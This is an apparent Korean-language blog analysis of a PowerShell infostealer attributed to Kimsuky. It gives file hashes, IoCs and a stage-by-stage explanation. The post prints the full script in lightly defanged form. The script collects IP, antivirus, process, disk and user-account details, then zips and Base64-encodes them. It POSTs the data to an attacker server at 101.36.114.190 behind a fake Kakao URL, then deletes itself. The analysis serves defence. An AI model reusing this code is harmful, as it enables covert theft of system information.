김수키(Kimsuky) 에서 만든 파워셀 악성코드-1.ps1(<-가칭 2025.3.13)

오늘은 북한의 APT 조직인 북한 정찰총국 산하의 해킹 조직 중인 하나인 김수키(Kimsuky) 에서 만든 파워셀 악성코드인 1.ps1(<-가칭 2025.3.13)에 대해 알아보겠습니다.
파일명:1.ps1
사이즈:1 MB
MD5:85f5075610661c9706571a33548d7585
SHA-1:bc36b9e8cf23dc0287f090a5c0bad3b391d00f86
SHA-256:6ffb5106d912e582bde2c095365fa37a441741e4b9ea7f856b2ecad9516b74c2
해당 코드는 단순하게 PowerShell(파워셀) 된 악성코드 이면 해당 코드 에 국민 메신저이고 어느 곳에서는 검열 문제로 시끄러운 카카오톡 관련 url 이 있는 악성코드입니다.

악성 PowerShell(파워셀) 코드 내용

악성코드 내용

$iPath = "$env:TEMP\processlist(.)txt";
$cPath = "$env:TEMP\disk(.)txt";
$uPath = "$env:TEMP\user(.)txt";
$sPath = "$env:TEMP\c_s(.)txt";
$ipPath = "$env:TEMP\ip(.)txt";
$oPath = "$env:TEMP\processlist(.)zip";
$oName = "abc_pl.zip";
$up_path = "htt"(+)"p://10"(+)"1.3"(+)"6.11"(+)"4(.)190/accou"(+)"nts(.)k"+"akao(.)comwe"(+)"blogin"(+)"find_acco"(+)"unt/sh"(+)"owHeader/"(+)"na"(+)"te(.)php";
$svbs = "$env:TEMP\dose(.)vbs";
if ([System.IO.File]::Exis(t)s($svbs)) {
    remove-item $svbs -Force (-)Recurse -ErrorAction SilentlyContinue;
}
if ([System.IO(.)File]::Exists($sv(b)s)) {
    remove-item $svbs -Force -Recur(s)e -ErrorAct(i)on Silen(t)lyContinue;
}
if ([System.IO(.)File]::Exists($oPath)) {
    remove-item $oPath -Force -Recurse -ErrorA(c)tion Sil(e)ntlyContinue;
}

if ([System.IO.File]::Exists($i(P)ath)) {
    remove-item $iPath -Force -Rec(u)rse -ErrorAction Silen(t)lyContinue;
}

Get-NetIP(A)ddress | Out-File -FileP(a)th $iPa(t)h -Append;
(Get-WmiObject -Names(p)ace root\SecurityCenter(2) -Class AntiVir(u)sProduct).disp(l)ayName | Out-File -Fi(l)ePath $iPath -Append;
Get-Process | Out-File -Fi(l)ePath $iPath -Append;
Get-WmiObject -Class Win32_Lo(g)icalDisk -Filter "(D)riveType=3" | Select-Object Devi(c)eID, VolumeName, @{Name="Size(GB)"; Expression={[math]::round($_(.)Size / 1GB, 2)}}, @{Name="Fr(e)eSpace(GB)"; Expr(e)ssion={[math]::round(()$_.FreeSpace / 1G(B), 2)}} | Out-File -FilePath $iPath -Append;
Get-LocalUser | Format-Li(s)t * | Out-File -FilePath $iPath -Append;
Get-WmiObject -Class Win3(2)_OperatingSystem | Select-Object ProductType | Out-File -FilePath $iPath -Append;
Compress-Archive -Path $iPat(h) -CompressionLevel Optimal -DestinationPath $oPath;
remove-item $iPath -Force -Recu(r)se -ErrorAction SilentlyContinue;
[Byte[]]$postBytes = [System.IO.Fi(l)e]::ReadAllBytes($oPath);
remove-item $oPath -Force -Recurse -E(r)rorAction SilentlyContinue;

# init web request sessions
$Script:webReqUpload = New-Object Microsoft(.)PowerShell.Commands().WebRequestSession;
$Script:webReqUpload(.)UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chremo/87(.)0(.)4280.141 Safari/537(.)36 Edgo/87(.)0(.)664.75";
$boundaryHex = New-Object b(y)te[] 10;
for ( $ii = 0 ; $ii -lt 10 ; $(i)i ++ ) {
    $boundaryHex[$ii] = Get-Rando(m) -Minimum 0 -Maximum 255;
}
    
$Script:boundary = "----" + [Convert]::ToBas(e)64String($boundaryHex);
$Script:webReqUpload(.)Headers.Add("Content-Type", "multipart/form-data; boundary=$Script:boundary");

$postString = [System(.)Convert]::ToBase64String($postBytes);
if ($postString -ne $n(u)ll) {
    $conDisp = "--$Script(:)boundary`r`nConte(n)t-Disposition: form-data; name=";
    $postData = "$conDisp`"MAX_F(I)LE_SIZE`"`r`n`r`n";
    $postData += "10(0)(0)000`r`n";
    $postData += "$conDi(s)p`"file`"; filename=`"";
    $postData += $oName (+) "`"`r`n";
    $postData += "Content-T(y)pe: text/p(l)ain`r`n`r`n";
    $postData += "$post(S)tring`r`n--$Script:(b)oundary--";
                 
    $response = Invoke-Web(R)equest -Uri $up_path -WebS(e)ssion $Script:webR(e)qUpload -Meth(o)d Post -Body $po(s)tData;
}
Remove-Item -Path $MyInvocation(.)MyCommand.Path -Force;

악성코드 분석

1.시스템 정보 수집
스크립트는 감염된 시스템의 다양한 정보를 수집하여 임시 파일(processlist.txt)에 저장
수집하는 정보:
IP 주소->Get-NetIPAddress
설치된 백신 정보->(Get-WmiObject -Namespace root\Securi(t)yCenter2 -Class A(n)tiVirusProduct).displayName
실행 중인 프로세스 목록->Get-Process
디스크 정보->Get-WmiObject -Class Win32_Log(i)calDisk -Filter "DriveType=3"
로컬 사용자 계정 정보->Ge(t)-LocalUser
운영체제 정보->Get-WmiObject -Class Win32_O(p)eratingSystem | Select-Object ProductType
2.데이터 압축 및 흔적 삭제
수집된 데이터는 ZIP 파일(processlist.zip)로 압축
압축이 끝나고 원본 파일을 삭제하여 흔적을 지움
3. 외부 서버로 데이터 전송
ZIP 파일을 Base64로 인코딩하여 데이터 크기를 줄이고 탐지를 회피 
이후 HTTP POST 요청을 이용하여 공격자의 서버로 전송
공격자 서버:
hxxp://101(.)36(.)114(.)190/accounts(.)kakao(.)comwebloginfind_account/showHeader/nate(.)php
공격자가 제어하는 C2 서버
4. 스크립트 실행 후 자동 삭제
스크립트는 실행이 끝난 후 자기 자신을 삭제
이는 악성코드 분석을 방해하고 감염 사실을 숨기기 위한 수법
침해 지표(IoC, Indicators of Compromise)

pestudio 로 본 바이러스토탈 결과

의심스러운 IP 주소
101(.)36(.)114(.)190:공격자 서버로 사용됨  
생성되는 파일 
%TEMP%\processlist.txt(수집된 데이터)  
%TEMP%\processlist.zip(압축된 정보)  
%TEMP%\dose.vbs(추가 페이로드 가능성 있음)  
의심스러운 시스템 활동 
Get-Process,Get-LocalUser 실행: 실행 중인 프로세스와 사용자 계정 탐색  
Compress-Archive:정보 압축 후 전송  
Invoke-WebRequest:외부 서버로 데이터 전송  
결론 정보 탈취(Infostealer) 및 후속 공격 준비 단계 위해서 제작된 악성코드가 아닐까 생각이 됩니다.
일단 dose.vbs 이라는 파일이 없어서 모르겠지만 dose.vbs를 까 보면 어느 정도 확실하게 알 수가 있지 않을까 생각을 합니다.